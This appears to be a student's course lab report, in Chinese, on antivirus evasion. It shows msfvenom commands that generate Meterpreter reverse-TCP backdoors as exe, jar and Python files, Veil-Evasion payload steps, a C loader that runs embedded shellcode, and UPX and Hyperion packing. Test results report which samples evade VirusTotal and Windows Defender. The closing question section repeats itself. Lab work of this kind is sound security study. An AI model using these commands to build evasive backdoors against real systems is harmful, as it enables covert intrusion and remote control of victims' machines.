20181224蒋嘉豪-exp3-免杀原理与实现

20181224蒋嘉豪-exp3-免杀原理与实现

目录

课上知识点总结

1.恶意软件检测机制

  • 基于特征码的检测（需要定期更新病毒库）
  • 启发式恶意软件检测（实时监控，开销较大）
  • 基于行为的恶意软件检测（如API监控）

2.免杀技术综述

  • 改变特征码
    • 加壳（拥有.exe文件）
      • 压缩壳
      • 加密壳
    • shellcode+encoder
    • 重写重编译（veil-evasion或者手工）
    • 半手工化（主流）
  • 改变行为
    • 通讯方式
      • 尽量使用反弹式连接
      • 使用隧道技术
      • 加密通讯数据（如https）
    • 操作系统
      • 基于内存操作
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码

Exp3.1 能够正确使用msf编码器，msfvenom生成如jar之类的其他文件，veil-evasion，加壳工具，使用shellcode编程。

3.1.1正确使用msf编码器并使用msfvenom生成文件

实验思路：msf在上次实验生成后门程序中已经使用过，所以在此实验中我进一步了解了msf各个参数的作用，以及加入了使用VirusTotal、Virscan进行检测。

  • msf中的使用的参数（参考博客）

    • -p

      指定需要使用的payload(攻击载荷)

      • 查看msf可用的payload列表:msfvenom -l payload
      • msfvenom生成各类Payload命令（详见博客）这个对之后的实验有帮助
    • -f

      指定payload的输出格式

      • 产看msf支持的输出格式:msfvenom --list formats
    • -e

      指定需要使用的encoder（编码器）

      • 查看可用的编码器:msfvenom -l encoder

    • -b生成的文件中不存在-b之后指定的内容

    • -i num指定编码器迭代的次数

  • 利用msf生成.exe文件并进行测试

    • 生成.exe文件
    msfvenom -p windows/meterpreter/reverse_tcp HOST = 192.168.187.136 PORT = 1224 -f exe > backdoor.exe

image

  • 利用VirusTotal进行测试


image
由图可知，在69个软件中有52个软件报错，比例还是很高的。

  • 测试是否可以在windows下实现免杀，显然是不行的

    image

  • 利用msf生成.jar文件并进行测试

    • 生成.jar文件：
    msfvenom -p java/meterpreter/reverse_tcp -e x86/opt_sub  -i 4  HOST = 172.16.228.63 PORT = 1224 -f jar > backdoor.jar //使用x86/opt_sub编译器并迭代4次


    image

    • 利用VirusTotal进行测试

      image
      使用编译器和迭代的效果不是很大。

    • 测试是否可以在windows下实现免杀,不能。

      image

      image

  • 利用msf生成.py文件并进行测试

    • 生成.py文件：
    msfvenom -p cmd/unix/reverse_python  HOST = 172.16.228.63 PORT = 1224 -f raw > backdoor.py


    image

    • 利用VirusTotal进行测试


      image

    • 测试是否可以在windows下实现免杀,实现免杀。

      image

3.1.2使用veil-Evasion生成后门程序及检测

  • 安装Veil-Evasion

    https://www.cnblogs.com/orii/p/12564504.html

    安装veil的方法大致有三种，我感觉能安装上只能随缘（捂脸），其中：

    安装git:sudo apt-get -y install git

    下载Veil-Evasion:git clone https://github.com/Veil-Framework/Veil-Evasion.git

    把Veil-Evasion移动到opt(随你选择)目录下:mv Veil-Evasion /opt

    进入Veil-Evasion所在目录：cd /opt/Veil-Evasion/

    启动bash脚本进行安装：bash setup/setup.sh -s

    此方法由于GitHub的不稳定等因素，不推荐使用。其次是（hyxjyyds）

    step1：apt-get install veil

    step2：使用命令cd /usr/share/veil/config/进入该文件夹，使用ls查看该文件夹的内容

    step3：使用命令vim setup.sh编辑文件，第251行把github仓库改成码云的仓库，https://gitee.com/spears/VeilDependencies.git

    step4:命令行输入veil，所有安装默认

    这是我最终成功的方法，但是要注意，一定要提前换源，否则安装的过程会卡住（我换的是中科大的源，换源后kali2020.4会出现一些问题，我们后面在说）。

    此处一定要注意，若安装到一半未成功要养成好习惯，清除已经安装好的东西，否则到最后会出现一些始料未及的bug（最终我重装了kali）。


    image
    ​ 错误时刻


image
image

​ 成功啦！！！

  • 输入use evasion进入Veil-Evasion
  • 输入use c/meterpreter/rev_tcp.py进入配置界面
  • 设置反弹连接IP，应当输入ip_of_linux：set LHOST 192.168.160.142
  • 设置端口：set LPORT 1224
  • 输入generate生成后门程序文件，而后输入其名字，我这里是：jjh20181224
  • 成功截图如下：


image

  • 根据它的提示，进入/var/lib/veil/output/compiled/中即可找到所生成的后门程序：jjh20181224.exe
  • 把它传到主机，发现杀软并未扫描出来：


image

image

  • 上传至平台进行扫描，结果如下：


image

3.1.3利用shellcode编程

  • 使用msf生成一段c语言格式的shellcode数组
msfvenom -p windows/meterpreter/reverse_tcp HOST=192.168.3.24 PORT=1224 -f c


image

  • 创建20181224.c文件，将shellcode转化为函数进行调用
此处为shellcode
int main()
{
    int (*func)() = (int(*)())buf;
    func();
}

  • 交叉编译：i686-w64-mingw32-g++ 2018124.c -o 20181224.exe

    image

  • 利用VirusTotal进行测试


    image

  • 使用ncat将kail下20181224.exe文件
    传送给windows并尝试回连(开启windows defender开启状态下)

    • windows:ncat.exe -l -p 1224 > 20181224.exe

    • linux:nc 192.168.3.24 < 20181224.exe

    • 结果


      image

3.1.4加壳工具其他方法

  • 压缩壳（以UPX为例）

    • 对已经生成的20181224.exe进行压缩：upx 20181224.exe -o jjh_upxed.exe

      image

    • 利用VirusTotal进行测试


      image

    • 测试下在windows下，smile again


      image

  • 加密壳（以Hyperion为例）

    • 将已经生成的jjh_upxed.exe复制到/usr/share/windows-resources/hyperion/

    • 进入/usr/share/windows-resources/hyperion/

    • 进行加壳：wine hyperion.exe -v jjh_upxed.exe jjh_upxed_Hyperion.exe

      image

    • 利用VirusTotal进行测试


      image

    • 在windows下进行测试。

      image

3.2其他方法

  • 这里用一个Veil-Evasion的其他荷载生成后门方式
    • 启动veil，进入evasion，输入list查看可用的有效荷载，如下：


image

  • 此时我选择了第29个荷载，是Python下shellcode在AES下加密一种。
  • 输入option,查看有效荷载的选项,如下:


image

  • 从上面可以清楚看到29号payload有很多选项，在这个界面，我们可以对该 payload 进行一些基本的配置。例如：编译后生成文件的格式有效期，并是否进行加密做出配置。
  • 我这里只配置了用户名,然后就generate生成了.
    • 之后它会提示你输入想要选择的shellcode平台,选择2msfvenom,一会儿我们用msfconsole进行反弹连接.
    • 输入靶机OS/平台/连接方式,默认的,回车就行
    • 输入metasploit荷载,同上
    • 输入反弹连接IP（ip_of_linux）和端口号
    • 其他msfvenom选项默认,回车就行

实验总结与体会

  • 实验感想

本次实验面向实际，我通过参考学长学姐的博客，实现了几种免杀方案，不得不说，我们计算机上的杀软还有待提高。在了解了后门软件的基本原理后，我对信息安全有了更深刻的认识。在此次实验中，我耗费时间最多的是装Veil！！！不得不说这东西安装好，能一直用只能随缘，安装前一定要换源，安装失败也不能慌乱要完成各个步骤，安装成功也不能太放松，因为它随时都可能用不了了。

  • 基于特征码
  • 实时监控
  • 基于行为的恶意软件检测
  • 免杀是做什么？

可以实现杀毒软件不发现、扫描不出病毒代码。

  • 免杀的基本方法有哪些
  • 改变特征码
    • 加壳
    • shellcode+encoder
    • veil-evasion
    • 半手工化
  • 改变行为
    • 通讯方式
      • 尽量使用反弹式连接
      • 使用隧道技术
      • 加密通讯数据
    • 操作系统
      • 基于内存操作
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码
  • 杀软是如何检测出恶意代码的？
  • 基于特征码
  • 实时监控
  • 基于行为的恶意软件检测
  • 免杀是做什么？

可以实现杀毒软件不发现、扫描不出病毒代码。

  • 免杀的基本方法有哪些
  • 改变特征码
    • 加壳
    • shellcode+encoder
    • veil-evasion
    • 半手工化
  • 改变行为
    • 通讯方式
      • 尽量使用反弹式连接
      • 使用隧道技术
      • 加密通讯数据
    • 操作系统
      • 基于内存操作
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码
  • 开启杀软能绝对防止电脑中恶意代码吗

通过做实验实现了免杀，显然杀软不能绝对防止恶意代码

【推广】 免费学中医，健康全家人
原文地址：https://www.cnblogs.com/jiangjiahao/p/14618871.html